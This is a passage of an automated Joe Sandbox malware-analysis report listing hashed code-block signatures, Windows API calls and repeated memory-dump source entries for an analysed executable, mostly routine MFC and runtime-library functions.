          • Instruction ID: a431bc6e532d07e18900bd424e7e9ee705fbe808f6eccac3e309e01c2ae4b825
          • Opcode Fuzzy Hash: 105181172f00a61b73d5b4d85f37de14bf2095d96a20a125fc8eeacebdda1205
          • Instruction Fuzzy Hash: AD619F711083419FC724DF25C945FABBBE8AB99314F00492EF19683291DB78A948CB66
          APIs
          • GlobalUnlock.KERNEL32(00000000), ref: 0041F384
          • GlobalReAlloc.KERNEL32(00000000,00000000,00000002), ref: 0041F38E
            • Part of subcall function 0049AA8A: __EH_prolog.LIBCMT ref: 0049AA8F
            • Part of subcall function 00491D7C: InterlockedDecrement.KERNEL32(-000000F4), ref: 00491D90
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$AllocDecrementH_prologInterlockedUnlock
          • String ID: hcJ$hcJ$lcJ
          • API String ID: 2641609054-536754574
          • Opcode ID: 401c6181f2e529174da054a6c2c0f35122d28550fc7c07a747c5fbd1f6ff15e5
          • Instruction ID: 6abde0fae57703c21ccdb7da278b7ed14fbf260d2c3c2627491d074ba64230eb
          • Opcode Fuzzy Hash: 401c6181f2e529174da054a6c2c0f35122d28550fc7c07a747c5fbd1f6ff15e5
          • Instruction Fuzzy Hash: DD518A74901288DFDF14EBA4C945BEDBBB0AF65304F1481AEE40577282DB7C1B49CB66
          APIs
          • GetVersionExA.KERNEL32 ref: 00485B99
          • GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00485BCE
          • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00485C2E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: EnvironmentFileModuleNameVariableVersion
          • String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
          • API String ID: 1385375860-4131005785
          • Opcode ID: 463e941c45d13d36d8bdc67a6bd731044d33b3591856874f8d3eeac749c3e80e
          • Instruction ID: 52e227fcfd98605b256ff337ea84abc25d6ad2a1594469590b282dfaf7c10469
          • Opcode Fuzzy Hash: 463e941c45d13d36d8bdc67a6bd731044d33b3591856874f8d3eeac749c3e80e
          • Instruction Fuzzy Hash: 293126719017886EEB35B7705C41BEE3BA89B16304F140CDBE086D6242E67C9EC58F19
          APIs
          • SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00493F39
          • GetWindowLongA.USER32(?,000000FC), ref: 00493F4A
          • GetWindowLongA.USER32(?,000000FC), ref: 00493F5A
          • SetWindowLongA.USER32(?,000000FC,?), ref: 00493F76
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: LongWindow$MessageSend
          • String ID: (
          • API String ID: 2178440468-3887548279
          • Opcode ID: 56a03b5e4d5f7fc37c54710fcb6de1a86191e52973a5205dca67d15a414c60b7
          • Instruction ID: 9555cc38bbc6392bd146631cff986b555258f3ecdb479983e40420872874e2ea
          • Opcode Fuzzy Hash: 56a03b5e4d5f7fc37c54710fcb6de1a86191e52973a5205dca67d15a414c60b7
          • Instruction Fuzzy Hash: 5931CD306007009FDF21AF69C884A5EBFF4FF4A716F10417EE14297291CB38E9048B99
          APIs
            • Part of subcall function 004281B0: GetObjectA.GDI32(?,00000018,?), ref: 004281ED
            • Part of subcall function 004281B0: GetDeviceCaps.GDI32 ref: 00428287
            • Part of subcall function 004281B0: GetSystemPaletteEntries.GDI32(?,00000000,000000FF,00000004), ref: 004282C1
            • Part of subcall function 004281B0: CreatePalette.GDI32(00000000), ref: 004282CC
          • GlobalAlloc.KERNEL32(00000002,?), ref: 0042865A
          • GlobalLock.KERNEL32(00000000), ref: 00428675
          • GlobalUnlock.KERNEL32(00000000), ref: 0042868E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$Palette$AllocCapsCreateDeviceEntriesLockObjectSystemUnlock
          • String ID: `jJ$xjJ
          • API String ID: 1348334340-3512718701
          • Opcode ID: 67d9ad70f057a17dfa73f83c14bd85a288171ceaa8baf69328dbe284843a3635
          • Instruction ID: f9ff76f2b9f3c1b6ca46f8afb48e4ea4bc059a390237513ae727f66aacf147c9
          • Opcode Fuzzy Hash: 67d9ad70f057a17dfa73f83c14bd85a288171ceaa8baf69328dbe284843a3635
          • Instruction Fuzzy Hash: 913190B12093418FC304EF19D885A6FFBE4FBD5758F444A2EF48593281DB789908C7A6
          APIs
          • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0049C14F
            • Part of subcall function 0049C23B: lstrlenA.KERNEL32(00000104,00000000,?,0049C17F), ref: 0049C272
          • lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0049C1F0
          • lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0049C21D
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: FileModuleNamelstrcatlstrcpylstrlen
          • String ID: .HLP$.INI
          • API String ID: 2421895198-3011182340
          • Opcode ID: 9b0fb690798d576c60071f943ce6b540a2d9a9caba131781936186645edc0a56
          • Instruction ID: 2fb4a3de492bd7aea2b8d46768a2c9887f46061451a51946a69e37c61085489f
          • Opcode Fuzzy Hash: 9b0fb690798d576c60071f943ce6b540a2d9a9caba131781936186645edc0a56
          • Instruction Fuzzy Hash: F231B6B68003089FDB21EF75C885BC6BBFCBB04304F1049BBE185D2151DB74A9808F58
          APIs
            • Part of subcall function 00499966: GetParent.USER32(?), ref: 00499999
            • Part of subcall function 00499966: GetLastActivePopup.USER32(?), ref: 004999A8
            • Part of subcall function 00499966: IsWindowEnabled.USER32(?), ref: 004999BD
            • Part of subcall function 00499966: EnableWindow.USER32(?,00000000), ref: 004999D0
          • SendMessageA.USER32(?,00000376,00000000,00000000), ref: 00499824
          • GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,00000000), ref: 00499892
          • MessageBoxA.USER32(00000000,?,?,00000000), ref: 004998A0
          • EnableWindow.USER32(00000000,00000001), ref: 004998BC
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$EnableMessage$ActiveEnabledFileLastModuleNameParentPopupSend
          • String ID: #I
          • API String ID: 1958756768-1132450449
          • Opcode ID: 398db8791ab3abdd0a26d873cbd9d965f4a0283eb95dcff6a26b1c65757a4542
          • Instruction ID: 3f5c67261fab7d38c438f2f718b206edda3f21d781e304f49cb18fd8c10cc4b1
          • Opcode Fuzzy Hash: 398db8791ab3abdd0a26d873cbd9d965f4a0283eb95dcff6a26b1c65757a4542
          • Instruction Fuzzy Hash: 27219E72A10108AFDF20EF99CC81AAEBFB9EB45740F14047EE615E7290D7759D408B94
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Global$Size$LockUnlock
          • String ID: BM
          • API String ID: 2233901773-2348483157
          • Opcode ID: c4b14c001f1991834e3839dc78c3a14905e40202c98c760062489c74b39e426a
          • Instruction ID: c3b016bf68dc40514b3c5fd238767f5282c307941712023c971a1ae09d8565a6
          • Opcode Fuzzy Hash: c4b14c001f1991834e3839dc78c3a14905e40202c98c760062489c74b39e426a
          • Instruction Fuzzy Hash: AF21DD76A00218ABC710DFA9D845BDDFBB8FF49720F04416EE819F3391D77899008BA9
          APIs
          • GetSystemMetrics.USER32(0000002D), ref: 0044C1F9
          • SystemParametersInfoA.USER32 ref: 0044C253
          • CreateFontIndirectA.GDI32(?), ref: 0044C261
          • CreatePalette.GDI32(00000300), ref: 0044C2B9
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CreateSystem$FontIndirectInfoMetricsPaletteParameters
          • String ID: t2L
          • API String ID: 934993634-1050886228
          • Opcode ID: ef3623a2838534977234adda3fe395e12f4c568139358a69c3d8071765038e23
          • Instruction ID: e34e54bec98e850da82a356cb297377830a086c8a6367cd87a2b77d1dec4159c
          • Opcode Fuzzy Hash: ef3623a2838534977234adda3fe395e12f4c568139358a69c3d8071765038e23
          • Instruction Fuzzy Hash: E5318FB5405B408FD320CF69C888AABFBF5FF85304F44896EE19A8B751DBB5A408CB51
          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf$ClassInfo
          • String ID: Afx:%x:%x$Afx:%x:%x:%x:%x:%x
          • API String ID: 845911565-79760390
          • Opcode ID: 96468e855a36740a2e92420ad10cef32a4cf48565c860f318d367c7a6cdb689c
          • Instruction ID: 8b686b855814d7487ff59e2947f80d8d78f863abb1a3a000be968290a498513a
          • Opcode Fuzzy Hash: 96468e855a36740a2e92420ad10cef32a4cf48565c860f318d367c7a6cdb689c
          • Instruction Fuzzy Hash: 94212F71A00219AF8F10DF95D981DEF7FB8FF99344B00407BF915E2211E77489518BA9
          APIs
          • Shell_NotifyIconA.SHELL32(00000001,?,?,00000058), ref: 0041FDE9
          • DestroyIcon.USER32(?,?,?,00000058), ref: 0041FDF6
          • Shell_NotifyIconA.SHELL32(?,?,00000000,00000058), ref: 0041FE29
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Icon$NotifyShell_$Destroy
          • String ID: X$d
          • API String ID: 944232879-651813629
          • Opcode ID: 5ba195c5eed2bd41d902bdfd19f0a80c5c0bff72fc1292ca1bfc0c1e6505c18c
          • Instruction ID: d620c4640116252c1c62cee5ecfe0cba2b47a1392d61c9269f01abdc2f07c9b2
          • Opcode Fuzzy Hash: 5ba195c5eed2bd41d902bdfd19f0a80c5c0bff72fc1292ca1bfc0c1e6505c18c
          • Instruction Fuzzy Hash: 27216A756083009FE350DF15D804BABBBE5AFC5704F00892EF9C992350EBB499498B96
          APIs
          • GetWindowLongA.USER32(?,000000F0), ref: 00492A15
          • GetDlgItem.USER32(?,00000002), ref: 00492A34
          • IsWindowEnabled.USER32(00000000), ref: 00492A3F
          • SendMessageA.USER32(?,00000111,00000002,00000000), ref: 00492A55
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: Window$EnabledItemLongMessageSend
          • String ID: Edit
          • API String ID: 3499652902-554135844
          • Opcode ID: b5f54af83ad12b0da790d9ec71784047927b46468e8da71b85a6ef2cb9e57f05
          • Instruction ID: fbd8b4963dc05df2b418b0416b199cd7acf6382680aba6fd6f63fa7db7d1156f
          • Opcode Fuzzy Hash: b5f54af83ad12b0da790d9ec71784047927b46468e8da71b85a6ef2cb9e57f05
          • Instruction Fuzzy Hash: AD01C836340201BAEF315B16CD09F5BAE64AB55754F10453BF402D51F5CBE8DE82C65C
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: wsprintf
          • String ID:
          • API String ID: 2111968516-0
          • Opcode ID: a05940150bd5af8e6d8fd98777776f9312b856fbde2c34aacf9fc3ff5e138e7f
          • Instruction ID: 23770d95dd8c5bae624f9fdebf33e0c272bf138dbd4052b7186bc1108131a7bc
          • Opcode Fuzzy Hash: a05940150bd5af8e6d8fd98777776f9312b856fbde2c34aacf9fc3ff5e138e7f
          • Instruction Fuzzy Hash: F2C190719443059FC710DF64CC819ABB7F9EF88348F14492EF84697352EB38E9468B96
          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
